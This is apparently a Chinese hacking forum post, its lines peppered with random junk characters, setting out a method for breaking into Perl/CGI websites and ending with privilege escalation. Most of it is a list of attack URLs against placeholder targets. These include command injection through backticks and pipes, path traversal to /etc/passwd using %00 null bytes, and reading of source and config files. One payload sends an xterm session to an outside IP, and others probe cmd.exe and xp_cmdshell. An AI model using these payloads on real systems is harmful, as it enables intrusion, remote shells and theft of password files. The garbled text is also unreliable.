总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
$ T3 ]( U, p, f$ t9 Scookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 1 x0 O- l5 B; ?' l4 p' `
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
8 V- g( W/ N( v. a8 `注“
/ v" V( W/ Y' N; r% p1 Nperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 7 w& B- n' p4 C) t4 V z% ^0 w
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 4 M% |6 n2 \ ?, p q. D
4 R4 A7 t$ e% ]8 N9 dhttp://target.com/cgi-bin/home/news/sub.pl?12 随意构造 6 T7 K" f5 u* `4 G4 b: Y1 l
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 7 w8 _# W7 G' T
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 + U1 i9 Y% M1 `
http://target.com/cgi-bin/home/news/sub.pl?`id` # w% j" M' m6 U" s. p* o
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
! y/ S3 i# k1 q7 n( O5 ~8 vhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 1 m4 M; k. W: s$ X/ \5 K
( I b. c; ^3 {8 M: l! Zhttp://target.com/test.pl;ls|
2 _# Z) _( j6 Q4 i8 q2 M, c' l7 Khttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| ; g* M) ]* E. ?. X% Z8 i6 W
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
: q7 s. p @+ Rhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
) M' t1 G- N7 P8 A8 g比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 0 u! C2 @8 i2 J
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection ; ^. s" x9 p W1 w3 @
- Q. }) D' ]4 [http://target.com/test.pl?&........ /../../etc/passwd 4 [2 V0 J- ?6 ?8 w9 M- J3 p5 L
# X2 b# C; j" D0 J& Mhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ % ^( T9 H1 F9 Y* J
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
: |' v# p' L1 \- m8 Y* j2 {http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 $ E$ b! U4 {; H0 b
6 M9 g/ }5 ^- Q- O+ q. Thttp://www.target.org/show.php?f ... /include/config.php 查看php代码 ( i& c* O1 B& A; }! S+ z7 ~1 @
http://www.target.org/show.php?f ... ng/admin/global.php + Q8 I% U9 Y* A* g) `0 M
9 u. s" Q- q8 q- Nemm和ps的一句话3 J% C. n- W( o7 Q' H
( n W2 `+ L1 z @http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 & v) t# X; q! z6 ? k1 ?# }
- U; L0 f. f8 ?4 N. |/ w! d>bbb%20|
. p4 q: E S9 a. W; D3 G4 Q( w
3 _5 A- d2 e+ y, x1 Ehttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
" E! L. ^3 i+ U, T4 Q9 a. l8 S. ~# F$ a$ d+ ^) G7 c* U
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
1 o% m' {9 f3 J4 D1 G/ @" b0 ~http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
+ `* Y3 x& k! W. _* ?6 [1 a: O& B: r7 ^6 d
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
9 e' u+ M' P# }http://target.com/index.html#cmd.exe
0 D9 y9 C/ i: ^http://target.com/index.html?dummyparam=xp_cmdshell
6 ^! T* z( x+ @6 v! t+ s$ d3 X4 d0 x/ Wlynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 5 U: X/ r+ L/ ^+ m7 X
|